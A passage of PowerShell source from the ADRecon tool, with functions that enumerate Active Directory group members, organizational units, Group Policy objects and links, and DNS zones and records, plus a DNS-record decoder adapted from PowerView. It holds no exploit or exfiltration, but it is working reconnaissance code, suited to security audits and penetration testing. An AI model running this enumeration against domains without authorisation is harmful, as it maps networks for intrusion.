$ADDomainSID = New-Object System.Security.Principal.SecurityIdentifier($ADObject.objectSid[0], 0)
$ADObject.Dispose()
}
Catch
{
Write-Warning "[Get-ADRGroupMember] Error retrieving Domain SID using the GlobalCatalog $($GlobalCatalog.IPAddress). Using SID from the ObjDomain."
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
$ADDomainSID = New-Object System.Security.Principal.SecurityIdentifier($objDomain.objectSid[0], 0)
}
}
Else
{
$ADDomainSID = New-Object System.Security.Principal.SecurityIdentifier($objDomain.objectSid[0], 0)
}
}
Else
{
$ADDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$ADForest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
Try
{
$GlobalCatalog = $ADForest.FindGlobalCatalog()
$DN = "GC://$($GlobalCatalog)/$($objDomain.distinguishedname)"
$ADObject = New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList ($DN)
$ADDomainSID = New-Object System.Security.Principal.SecurityIdentifier($ADObject.objectSid[0], 0)
$ADObject.dispose()
}
Catch
{
Write-Warning "[Get-ADRGroupMember] Error retrieving Domain SID using the GlobalCatalog $($GlobalCatalog.IPAddress). Using SID from the ObjDomain."
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
$ADDomainSID = New-Object System.Security.Principal.SecurityIdentifier($objDomain.objectSid[0], 0)
}
}
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain
$ObjSearcher.PageSize = $PageSize
$ObjSearcher.Filter = "(objectClass=group)"
$ObjSearcher.PropertiesToLoad.AddRange(("samaccountname", "objectsid"))
$ObjSearcher.SearchScope = "Subtree"
Try
{
$ADGroups = $ObjSearcher.FindAll()
}
Catch
{
Write-Warning "[Get-ADRGroupMember] Error while enumerating Group Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
$ObjSearcher.dispose()
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain
$ObjSearcher.PageSize = $PageSize
$ObjSearcher.Filter = "(|(memberof=*)(primarygroupid=*))"
$ObjSearcher.PropertiesToLoad.AddRange(("distinguishedname", "dnshostname", "primarygroupid", "memberof", "samaccountname", "samaccounttype"))
$ObjSearcher.SearchScope = "Subtree"
Try
{
$ADGroupMembers = $ObjSearcher.FindAll()
}
Catch
{
Write-Warning "[Get-ADRGroupMember] Error while enumerating GroupMember Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
$ObjSearcher.dispose()
If ( ($ADDomainSID) -and ($ADGroups) -and ($ADGroupMembers) )
{
Write-Verbose "[*] Total GroupMember Objects: $([ADRecon.LDAPClass]::ObjectCount($ADGroupMembers))"
$GroupMemberObj = [ADRecon.LDAPClass]::GroupMemberParser($ADGroups, $ADGroupMembers, $ADDomainSID, $Threads)
Remove-Variable ADGroups
Remove-Variable ADGroupMembers
Remove-Variable ADDomainSID
}
}
If ($GroupMemberObj)
{
Return $GroupMemberObj
}
Else
{
Return $null
}
}
Function Get-ADROU
{
<#
.SYNOPSIS
Returns all Organizational Units (OU) in the current (or specified) domain.
.DESCRIPTION
Returns all Organizational Units (OU) in the current (or specified) domain.
.PARAMETER Protocol
[string]
Which protocol to use; ADWS (default) or LDAP.
.PARAMETER objDomain
[DirectoryServices.DirectoryEntry]
Domain Directory Entry object.
.PARAMETER PageSize
[int]
The PageSize to set for the LDAP searcher object. Default 200.
.PARAMETER Threads
[int]
The number of threads to use during processing of objects. Default 10.
.OUTPUTS
PSObject.
#>
param(
[Parameter(Mandatory = $true)]
[string] $Protocol,
[Parameter(Mandatory = $false)]
[DirectoryServices.DirectoryEntry] $objDomain,
[Parameter(Mandatory = $true)]
[int] $PageSize,
[Parameter(Mandatory = $false)]
[int] $Threads = 10
)
If ($Protocol -eq 'ADWS')
{
Try
{
$ADOUs = @( Get-ADOrganizationalUnit -Filter * -Properties DistinguishedName,Description,Name,whenCreated,whenChanged )
}
Catch
{
Write-Warning "[Get-ADROU] Error while enumerating OU Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
If ($ADOUs)
{
Write-Verbose "[*] Total OUs: $([ADRecon.ADWSClass]::ObjectCount($ADOUs))"
$OUObj = [ADRecon.ADWSClass]::OUParser($ADOUs, $Threads)
Remove-Variable ADOUs
}
}
If ($Protocol -eq 'LDAP')
{
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain
$ObjSearcher.PageSize = $PageSize
$ObjSearcher.Filter = "(objectclass=organizationalunit)"
$ObjSearcher.PropertiesToLoad.AddRange(("distinguishedname","description","name","whencreated","whenchanged"))
$ObjSearcher.SearchScope = "Subtree"
Try
{
$ADOUs = $ObjSearcher.FindAll()
}
Catch
{
Write-Warning "[Get-ADROU] Error while enumerating OU Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
$ObjSearcher.dispose()
If ($ADOUs)
{
Write-Verbose "[*] Total OUs: $([ADRecon.LDAPClass]::ObjectCount($ADOUs))"
$OUObj = [ADRecon.LDAPClass]::OUParser($ADOUs, $Threads)
Remove-Variable ADOUs
}
}
If ($OUObj)
{
Return $OUObj
}
Else
{
Return $null
}
}
Function Get-ADRGPO
{
<#
.SYNOPSIS
Returns all Group Policy Objects (GPO) in the current (or specified) domain.
.DESCRIPTION
Returns all Group Policy Objects (GPO) in the current (or specified) domain.
.PARAMETER Protocol
[string]
Which protocol to use; ADWS (default) or LDAP.
.PARAMETER objDomain
[DirectoryServices.DirectoryEntry]
Domain Directory Entry object.
.PARAMETER Credential
[Management.Automation.PSCredential]
Credentials.
.PARAMETER PageSize
[int]
The PageSize to set for the LDAP searcher object. Default 200.
.PARAMETER Threads
[int]
The number of threads to use during processing of objects. Default 10.
.OUTPUTS
PSObject.
#>
param(
[Parameter(Mandatory = $true)]
[string] $Protocol,
[Parameter(Mandatory = $false)]
[DirectoryServices.DirectoryEntry] $objDomain,
[Parameter(Mandatory = $true)]
[int] $PageSize,
[Parameter(Mandatory = $false)]
[int] $Threads = 10
)
If ($Protocol -eq 'ADWS')
{
Try
{
$ADGPOs = @( Get-ADObject -LDAPFilter '(objectCategory=groupPolicyContainer)' -Properties DisplayName,DistinguishedName,Name,gPCFileSysPath,whenCreated,whenChanged )
}
Catch
{
Write-Warning "[Get-ADRGPO] Error while enumerating groupPolicyContainer Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
If ($ADGPOs)
{
Write-Verbose "[*] Total GPOs: $([ADRecon.ADWSClass]::ObjectCount($ADGPOs))"
$GPOsObj = [ADRecon.ADWSClass]::GPOParser($ADGPOs, $Threads)
Remove-Variable ADGPOs
}
}
If ($Protocol -eq 'LDAP')
{
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain
$ObjSearcher.PageSize = $PageSize
$ObjSearcher.Filter = "(objectCategory=groupPolicyContainer)"
$ObjSearcher.SearchScope = "Subtree"
Try
{
$ADGPOs = $ObjSearcher.FindAll()
}
Catch
{
Write-Warning "[Get-ADRGPO] Error while enumerating groupPolicyContainer Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
$ObjSearcher.dispose()
If ($ADGPOs)
{
Write-Verbose "[*] Total GPOs: $([ADRecon.LDAPClass]::ObjectCount($ADGPOs))"
$GPOsObj = [ADRecon.LDAPClass]::GPOParser($ADGPOs, $Threads)
Remove-Variable ADGPOs
}
}
If ($GPOsObj)
{
Return $GPOsObj
}
Else
{
Return $null
}
}
# based on https://github.com/GoateePFE/GPLinkReport/blob/master/gPLinkReport.ps1
Function Get-ADRGPLink
{
<#
.SYNOPSIS
Returns all group policy links (gPLink) applied to Scope of Management (SOM) in the current (or specified) domain.
.DESCRIPTION
Returns all group policy links (gPLink) applied to Scope of Management (SOM) in the current (or specified) domain.
.PARAMETER Protocol
[string]
Which protocol to use; ADWS (default) or LDAP.
.PARAMETER objDomain
[DirectoryServices.DirectoryEntry]
Domain Directory Entry object.
.PARAMETER PageSize
[int]
The PageSize to set for the LDAP searcher object. Default 200.
.PARAMETER Threads
[int]
The number of threads to use during processing of objects. Default 10.
.OUTPUTS
PSObject.
#>
param(
[Parameter(Mandatory = $true)]
[string] $Protocol,
[Parameter(Mandatory = $false)]
[DirectoryServices.DirectoryEntry] $objDomain,
[Parameter(Mandatory = $true)]
[int] $PageSize,
[Parameter(Mandatory = $false)]
[int] $Threads = 10
)
If ($Protocol -eq 'ADWS')
{
Try
{
$ADSOMs = @( Get-ADObject -LDAPFilter '(|(objectclass=domain)(objectclass=organizationalUnit))' -Properties DistinguishedName,Name,gPLink,gPOptions )
$ADSOMs += @( Get-ADObject -SearchBase "CN=Sites,$((Get-ADRootDSE).configurationNamingContext)" -LDAPFilter "(objectclass=site)" -Properties DistinguishedName,Name,gPLink,gPOptions )
}
Catch
{
Write-Warning "[Get-ADRGPLink] Error while enumerating SOM Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
Try
{
$ADGPOs = @( Get-ADObject -LDAPFilter '(objectCategory=groupPolicyContainer)' -Properties DisplayName,DistinguishedName )
}
Catch
{
Write-Warning "[Get-ADRGPLink] Error while enumerating groupPolicyContainer Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
If ( ($ADSOMs) -and ($ADGPOs) )
{
Write-Verbose "[*] Total SOMs: $([ADRecon.ADWSClass]::ObjectCount($ADSOMs))"
$SOMObj = [ADRecon.ADWSClass]::SOMParser($ADGPOs, $ADSOMs, $Threads)
Remove-Variable ADSOMs
Remove-Variable ADGPOs
}
}
If ($Protocol -eq 'LDAP')
{
$ADSOMs = @()
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain
$ObjSearcher.PageSize = $PageSize
$ObjSearcher.Filter = "(|(objectclass=domain)(objectclass=organizationalUnit))"
$ObjSearcher.PropertiesToLoad.AddRange(("distinguishedname","name","gplink","gpoptions"))
$ObjSearcher.SearchScope = "Subtree"
Try
{
$ADSOMs += $ObjSearcher.FindAll()
}
Catch
{
Write-Warning "[Get-ADRGPLink] Error while enumerating SOM Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
$ObjSearcher.dispose()
$SearchPath = "CN=Sites"
If ($Credential -ne [Management.Automation.PSCredential]::Empty)
{
$objSearchPath = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$($DomainController)/$SearchPath,$($objDomainRootDSE.ConfigurationNamingContext)", $Credential.UserName,$Credential.GetNetworkCredential().Password
}
Else
{
$objSearchPath = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$SearchPath,$($objDomainRootDSE.ConfigurationNamingContext)"
}
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objSearchPath
$ObjSearcher.Filter = "(objectclass=site)"
$ObjSearcher.PropertiesToLoad.AddRange(("distinguishedname","name","gplink","gpoptions"))
$ObjSearcher.SearchScope = "Subtree"
Try
{
$ADSOMs += $ObjSearcher.FindAll()
}
Catch
{
Write-Warning "[Get-ADRGPLink] Error while enumerating SOM Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
$ObjSearcher.dispose()
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain
$ObjSearcher.PageSize = $PageSize
$ObjSearcher.Filter = "(objectCategory=groupPolicyContainer)"
$ObjSearcher.SearchScope = "Subtree"
Try
{
$ADGPOs = $ObjSearcher.FindAll()
}
Catch
{
Write-Warning "[Get-ADRGPLink] Error while enumerating groupPolicyContainer Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
$ObjSearcher.dispose()
If ( ($ADSOMs) -and ($ADGPOs) )
{
Write-Verbose "[*] Total SOMs: $([ADRecon.LDAPClass]::ObjectCount($ADSOMs))"
$SOMObj = [ADRecon.LDAPClass]::SOMParser($ADGPOs, $ADSOMs, $Threads)
Remove-Variable ADSOMs
Remove-Variable ADGPOs
}
}
If ($SOMObj)
{
Return $SOMObj
}
Else
{
Return $null
}
}
# Modified Convert-DNSRecord function from https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
Function Convert-DNSRecord
{
<#
.SYNOPSIS
Helpers that decodes a binary DNS record blob.
Author: Michael B. Smith, Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Decodes a binary blob representing an Active Directory DNS entry.
Used by Get-DomainDNSRecord.
Adapted/ported from Michael B. Smith's code at https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1
.PARAMETER DNSRecord
A byte array representing the DNS record.
.OUTPUTS
System.Management.Automation.PSCustomObject
Outputs custom PSObjects with detailed information about the DNS record entry.
.LINK
https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1
#>
[OutputType('System.Management.Automation.PSCustomObject')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
[Byte[]]
$DNSRecord
)
BEGIN {
Function Get-Name
{
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseOutputTypeCorrectly', '')]
[CmdletBinding()]
Param(
[Byte[]]
$Raw
)
[Int]$Length = $Raw[0]
[Int]$Segments = $Raw[1]
[Int]$Index = 2
[String]$Name = ''
while ($Segments-- -gt 0)
{
[Int]$SegmentLength = $Raw[$Index++]
while ($SegmentLength-- -gt 0)
{
$Name += [Char]$Raw[$Index++]
}
$Name += "."
}
$Name
}
}
PROCESS
{
# $RDataLen = [BitConverter]::ToUInt16($DNSRecord, 0)
$RDataType = [BitConverter]::ToUInt16($DNSRecord, 2)
$UpdatedAtSerial = [BitConverter]::ToUInt32($DNSRecord, 8)
$TTLRaw = $DNSRecord[12..15]
# reverse for big endian
$Null = [array]::Reverse($TTLRaw)
$TTL = [BitConverter]::ToUInt32($TTLRaw, 0)
$Age = [BitConverter]::ToUInt32($DNSRecord, 20)
If ($Age -ne 0)
{
$TimeStamp = ((Get-Date -Year 1601 -Month 1 -Day 1 -Hour 0 -Minute 0 -Second 0).AddHours($age)).ToString()
}
Else
{
$TimeStamp = '[static]'
}
$DNSRecordObject = New-Object PSObject
switch ($RDataType)
{
1
{
$IP = "{0}.{1}.{2}.{3}" -f $DNSRecord[24], $DNSRecord[25], $DNSRecord[26], $DNSRecord[27]
$Data = $IP
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'A'
}
2
{
$NSName = Get-Name $DNSRecord[24..$DNSRecord.length]
$Data = $NSName
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'NS'
}
5
{
$Alias = Get-Name $DNSRecord[24..$DNSRecord.length]
$Data = $Alias
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'CNAME'
}
6
{
$PrimaryNS = Get-Name $DNSRecord[44..$DNSRecord.length]
$ResponsibleParty = Get-Name $DNSRecord[$(46+$DNSRecord[44])..$DNSRecord.length]
$SerialRaw = $DNSRecord[24..27]
# reverse for big endian
$Null = [array]::Reverse($SerialRaw)
$Serial = [BitConverter]::ToUInt32($SerialRaw, 0)
$RefreshRaw = $DNSRecord[28..31]
$Null = [array]::Reverse($RefreshRaw)
$Refresh = [BitConverter]::ToUInt32($RefreshRaw, 0)
$RetryRaw = $DNSRecord[32..35]
$Null = [array]::Reverse($RetryRaw)
$Retry = [BitConverter]::ToUInt32($RetryRaw, 0)
$ExpiresRaw = $DNSRecord[36..39]
$Null = [array]::Reverse($ExpiresRaw)
$Expires = [BitConverter]::ToUInt32($ExpiresRaw, 0)
$MinTTLRaw = $DNSRecord[40..43]
$Null = [array]::Reverse($MinTTLRaw)
$MinTTL = [BitConverter]::ToUInt32($MinTTLRaw, 0)
$Data = "[" + $Serial + "][" + $PrimaryNS + "][" + $ResponsibleParty + "][" + $Refresh + "][" + $Retry + "][" + $Expires + "][" + $MinTTL + "]"
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SOA'
}
12
{
$Ptr = Get-Name $DNSRecord[24..$DNSRecord.length]
$Data = $Ptr
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'PTR'
}
13
{
[string]$CPUType = ""
[string]$OSType = ""
[int]$SegmentLength = $DNSRecord[24]
$Index = 25
while ($SegmentLength-- -gt 0)
{
$CPUType += [char]$DNSRecord[$Index++]
}
$Index = 24 + $DNSRecord[24] + 1
[int]$SegmentLength = $Index++
while ($SegmentLength-- -gt 0)
{
$OSType += [char]$DNSRecord[$Index++]
}
$Data = "[" + $CPUType + "][" + $OSType + "]"
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'HINFO'
}
15
{
$PriorityRaw = $DNSRecord[24..25]
# reverse for big endian
$Null = [array]::Reverse($PriorityRaw)
$Priority = [BitConverter]::ToUInt16($PriorityRaw, 0)
$MXHost = Get-Name $DNSRecord[26..$DNSRecord.length]
$Data = "[" + $Priority + "][" + $MXHost + "]"
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'MX'
}
16
{
[string]$TXT = ''
[int]$SegmentLength = $DNSRecord[24]
$Index = 25
while ($SegmentLength-- -gt 0)
{
$TXT += [char]$DNSRecord[$Index++]
}
$Data = $TXT
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'TXT'
}
28
{
### yeah, this doesn't do all the fancy formatting that can be done for IPv6
$AAAA = ""
for ($i = 24; $i -lt 40; $i+=2)
{
$BlockRaw = $DNSRecord[$i..$($i+1)]
# reverse for big endian
$Null = [array]::Reverse($BlockRaw)
$Block = [BitConverter]::ToUInt16($BlockRaw, 0)
$AAAA += ($Block).ToString('x4')
If ($i -ne 38)
{
$AAAA += ':'
}
}
$Data = $AAAA
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'AAAA'
}
33
{
$PriorityRaw = $DNSRecord[24..25]
# reverse for big endian
$Null = [array]::Reverse($PriorityRaw)
$Priority = [BitConverter]::ToUInt16($PriorityRaw, 0)
$WeightRaw = $DNSRecord[26..27]
$Null = [array]::Reverse($WeightRaw)
$Weight = [BitConverter]::ToUInt16($WeightRaw, 0)
$PortRaw = $DNSRecord[28..29]
$Null = [array]::Reverse($PortRaw)
$Port = [BitConverter]::ToUInt16($PortRaw, 0)
$SRVHost = Get-Name $DNSRecord[30..$DNSRecord.length]
$Data = "[" + $Priority + "][" + $Weight + "][" + $Port + "][" + $SRVHost + "]"
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SRV'
}
default
{
$Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'UNKNOWN'
}
}
$DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial
$DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL
$DNSRecordObject | Add-Member Noteproperty 'Age' $Age
$DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp
$DNSRecordObject | Add-Member Noteproperty 'Data' $Data
Return $DNSRecordObject
}
}
Function Get-ADRDNSZone
{
<#
.SYNOPSIS
Returns all DNS Zones and Records in the current (or specified) domain.
.DESCRIPTION
Returns all DNS Zones and Records in the current (or specified) domain.
.PARAMETER Protocol
[string]
Which protocol to use; ADWS (default) or LDAP.
.PARAMETER ADROutputDir
[string]
Path for ADRecon output folder.
.PARAMETER objDomain
[DirectoryServices.DirectoryEntry]
Domain Directory Entry object.
.PARAMETER DomainController
[string]
IP Address of the Domain Controller.
.PARAMETER Credential
[Management.Automation.PSCredential]
Credentials.
.PARAMETER PageSize
[int]
The PageSize to set for the LDAP searcher object. Default 200.
.PARAMETER OutputType
[array]
Output Type.
.OUTPUTS
CSV files are created in the folder specified with the information.
#>
param(
[Parameter(Mandatory = $true)]
[string] $Protocol,
[Parameter(Mandatory = $true)]
[string] $ADROutputDir,
[Parameter(Mandatory = $false)]
[DirectoryServices.DirectoryEntry] $objDomain,
[Parameter(Mandatory = $false)]
[string] $DomainController,
[Parameter(Mandatory = $false)]
[Management.Automation.PSCredential] $Credential = [Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $true)]
[int] $PageSize,
[Parameter(Mandatory = $true)]
[array] $OutputType
)
If ($Protocol -eq 'ADWS')
{
Try
{
$ADDNSZones = Get-ADObject -LDAPFilter '(objectClass=dnsZone)' -Properties Name,whenCreated,whenChanged,usncreated,usnchanged,distinguishedname
}
Catch
{
Write-Warning "[Get-ADRDNSZone] Error while enumerating dnsZone Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
$DNSZoneArray = @()
If ($ADDNSZones)
{
$DNSZoneArray += $ADDNSZones
Remove-Variable ADDNSZones
}
Try
{
$ADDNSZones1 = Get-ADObject -LDAPFilter '(objectClass=dnsZone)' -SearchBase "DC=DomainDnsZones,$((Get-ADDomain).DistinguishedName)" -Properties Name,whenCreated,whenChanged,usncreated,usnchanged,distinguishedname
}
Catch
{
Write-Warning "[Get-ADRDNSZone] Error while enumerating DomainDnsZones dnsZone Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
If ($ADDNSZones1)
{
$DNSZoneArray += $ADDNSZones1
Remove-Variable ADDNSZones1
}
Try
{
$ADDNSZones2 = Get-ADObject -LDAPFilter '(objectClass=dnsZone)' -SearchBase "DC=ForestDnsZones,$((Get-ADDomain).DistinguishedName)" -Properties Name,whenCreated,whenChanged,usncreated,usnchanged,distinguishedname
}
Catch
{
Write-Warning "[Get-ADRDNSZone] Error while enumerating DC=ForestDnsZones,$((Get-ADDomain).DistinguishedName) dnsZone Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
If ($ADDNSZones2)
{
$DNSZoneArray += $ADDNSZones2
Remove-Variable ADDNSZones2
}
Write-Verbose "[*] Total DNS Zones: $([ADRecon.ADWSClass]::ObjectCount($DNSZoneArray))"
If ($DNSZoneArray)
{
$ADDNSZonesObj = @()
$ADDNSNodesObj = @()
$DNSZoneArray | ForEach-Object {
# Create the object for each instance.
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name Name -Value $([ADRecon.ADWSClass]::CleanString($_.Name))
Try
{
$DNSNodes = Get-ADObject -SearchBase $($_.DistinguishedName) -LDAPFilter '(objectClass=dnsNode)' -Properties DistinguishedName,dnsrecord,dNSTombstoned,Name,ProtectedFromAccidentalDeletion,showInAdvancedViewOnly,whenChanged,whenCreated
}
Catch
{
Write-Warning "[Get-ADRDNSZone] Error while enumerating $($_.DistinguishedName) dnsNode Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
If ($DNSNodes)
{
$Obj | Add-Member -MemberType NoteProperty -Name RecordCount -Value $($DNSNodes | Measure-Object | Select-Object -ExpandProperty Count)
$DNSNodes | ForEach-Object {
$ObjNode = New-Object PSObject
$ObjNode | Add-Member -MemberType NoteProperty -Name ZoneName -Value $Obj.Name
$ObjNode | Add-Member -MemberType NoteProperty -Name Name -Value $_.Name
Try
{
$DNSRecord = Convert-DNSRecord $_.dnsrecord[0]
}
Catch
{
Write-Warning "[Get-ADRDNSZone] Error while converting the DNSRecord"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
$ObjNode | Add-Member -MemberType NoteProperty -Name RecordType -Value $DNSRecord.RecordType
$ObjNode | Add-Member -MemberType NoteProperty -Name Data -Value $DNSRecord.Data
$ObjNode | Add-Member -MemberType NoteProperty -Name TTL -Value $DNSRecord.TTL
$ObjNode | Add-Member -MemberType NoteProperty -Name Age -Value $DNSRecord.Age
$ObjNode | Add-Member -MemberType NoteProperty -Name TimeStamp -Value $DNSRecord.TimeStamp
$ObjNode | Add-Member -MemberType NoteProperty -Name UpdatedAtSerial -Value $DNSRecord.UpdatedAtSerial
$ObjNode | Add-Member -MemberType NoteProperty -Name whenCreated -Value $_.whenCreated
$ObjNode | Add-Member -MemberType NoteProperty -Name whenChanged -Value $_.whenChanged
# TO DO LDAP part
#$ObjNode | Add-Member -MemberType NoteProperty -Name dNSTombstoned -Value $_.dNSTombstoned
#$ObjNode | Add-Member -MemberType NoteProperty -Name ProtectedFromAccidentalDeletion -Value $_.ProtectedFromAccidentalDeletion
$ObjNode | Add-Member -MemberType NoteProperty -Name showInAdvancedViewOnly -Value $_.showInAdvancedViewOnly
$ObjNode | Add-Member -MemberType NoteProperty -Name DistinguishedName -Value $_.DistinguishedName
$ADDNSNodesObj += $ObjNode
If ($DNSRecord)
{
Remove-Variable DNSRecord
}
}
}
Else
{
$Obj | Add-Member -MemberType NoteProperty -Name RecordCount -Value $null
}
$Obj | Add-Member -MemberType NoteProperty -Name USNCreated -Value $_.usncreated
$Obj | Add-Member -MemberType NoteProperty -Name USNChanged -Value $_.usnchanged
$Obj | Add-Member -MemberType NoteProperty -Name whenCreated -Value $_.whenCreated
$Obj | Add-Member -MemberType NoteProperty -Name whenChanged -Value $_.whenChanged
$Obj | Add-Member -MemberType NoteProperty -Name DistinguishedName -Value $_.DistinguishedName
$ADDNSZonesObj += $Obj
}
Write-Verbose "[*] Total DNS Records: $([ADRecon.ADWSClass]::ObjectCount($ADDNSNodesObj))"
Remove-Variable DNSZoneArray
}
}
If ($Protocol -eq 'LDAP')
{
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain
$ObjSearcher.PageSize = $PageSize
$ObjSearcher.PropertiesToLoad.AddRange(("name","whencreated","whenchanged","usncreated","usnchanged","distinguishedname"))
$ObjSearcher.Filter = "(objectClass=dnsZone)"
$ObjSearcher.SearchScope = "Subtree"
Try
{
$ADDNSZones = $ObjSearcher.FindAll()
}
Catch
{
Write-Warning "[Get-ADRDNSZone] Error while enumerating dnsZone Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
$ObjSearcher.dispose()
$DNSZoneArray = @()
If ($ADDNSZones)
{
$DNSZoneArray += $ADDNSZones
Remove-Variable ADDNSZones
}
$SearchPath = "DC=DomainDnsZones"
If ($Credential -ne [Management.Automation.PSCredential]::Empty)
{
$objSearchPath = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$($DomainController)/$($SearchPath),$($objDomain.distinguishedName)", $Credential.UserName,$Credential.GetNetworkCredential().Password
}
Else
{
$objSearchPath = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$($SearchPath),$($objDomain.distinguishedName)"
}
$objSearcherPath = New-Object System.DirectoryServices.DirectorySearcher $objSearchPath
$objSearcherPath.Filter = "(objectClass=dnsZone)"
$objSearcherPath.PageSize = $PageSize
$objSearcherPath.PropertiesToLoad.AddRange(("name","whencreated","whenchanged","usncreated","usnchanged","distinguishedname"))
$objSearcherPath.SearchScope = "Subtree"
Try
{
$ADDNSZones1 = $objSearcherPath.FindAll()
}
Catch
{
Write-Warning "[Get-ADRDNSZone] Error while enumerating DomainDnsZones dnsZone Objects."
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
$objSearcherPath.dispose()
If ($ADDNSZones1)
{
$DNSZoneArray += $ADDNSZones1
Remove-Variable ADDNSZones1
}
$SearchPath = "DC=ForestDnsZones"
If ($Credential -ne [Management.Automation.PSCredential]::Empty)
{
$objSearchPath = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$($DomainController)/$($SearchPath),$($objDomain.distinguishedName)", $Credential.UserName,$Credential.GetNetworkCredential().Password
}
Else
{
$objSearchPath = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$($SearchPath),$($objDomain.distinguishedName)"
}
$objSearcherPath = New-Object System.DirectoryServices.DirectorySearcher $objSearchPath
$objSearcherPath.Filter = "(objectClass=dnsZone)"
$objSearcherPath.PageSize = $PageSize
$objSearcherPath.PropertiesToLoad.AddRange(("name","whencreated","whenchanged","usncreated","usnchanged","distinguishedname"))
$objSearcherPath.SearchScope = "Subtree"
Try
{
$ADDNSZones2 = $objSearcherPath.FindAll()
}
Catch
{
Write-Warning "[Get-ADRDNSZone] Error while enumerating ForestDnsZones dnsZone Objects."
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
$objSearcherPath.dispose()
If ($ADDNSZones2)
{
$DNSZoneArray += $ADDNSZones2
Remove-Variable ADDNSZones2
}
Write-Verbose "[*] Total DNS Zones: $([ADRecon.LDAPClass]::ObjectCount($DNSZoneArray))"
If ($DNSZoneArray)
{
$ADDNSZonesObj = @()
$ADDNSNodesObj = @()
$DNSZoneArray | ForEach-Object {
If ($Credential -ne [Management.Automation.PSCredential]::Empty)
{
$objSearchPath = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$($DomainController)/$($_.Properties.distinguishedname)", $Credential.UserName,$Credential.GetNetworkCredential().Password
}
Else
{
$objSearchPath = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$($_.Properties.distinguishedname)"
}
$objSearcherPath = New-Object System.DirectoryServices.DirectorySearcher $objSearchPath
$objSearcherPath.Filter = "(objectClass=dnsNode)"
$objSearcherPath.PageSize = $PageSize
$objSearcherPath.PropertiesToLoad.AddRange(("distinguishedname","dnsrecord","name","dc","showinadvancedviewonly","whenchanged","whencreated"))
Try
{
$DNSNodes = $objSearcherPath.FindAll()
}
Catch
{
Write-Warning "[Get-ADRDNSZone] Error while enumerating $($_.Properties.distinguishedname) dnsNode Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
$objSearcherPath.dispose()
Remove-Variable objSearchPath
# Create the object for each instance.
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name Name -Value $([ADRecon.LDAPClass]::CleanString($_.Properties.name[0]))
If ($DNSNodes)
{
$Obj | Add-Member -MemberType NoteProperty -Name RecordCount -Value $($DNSNodes | Measure-Object | Select-Object -ExpandProperty Count)
$DNSNodes | ForEach-Object {
$ObjNode = New-Object PSObject
$ObjNode | Add-Member -MemberType NoteProperty -Name ZoneName -Value $Obj.Name
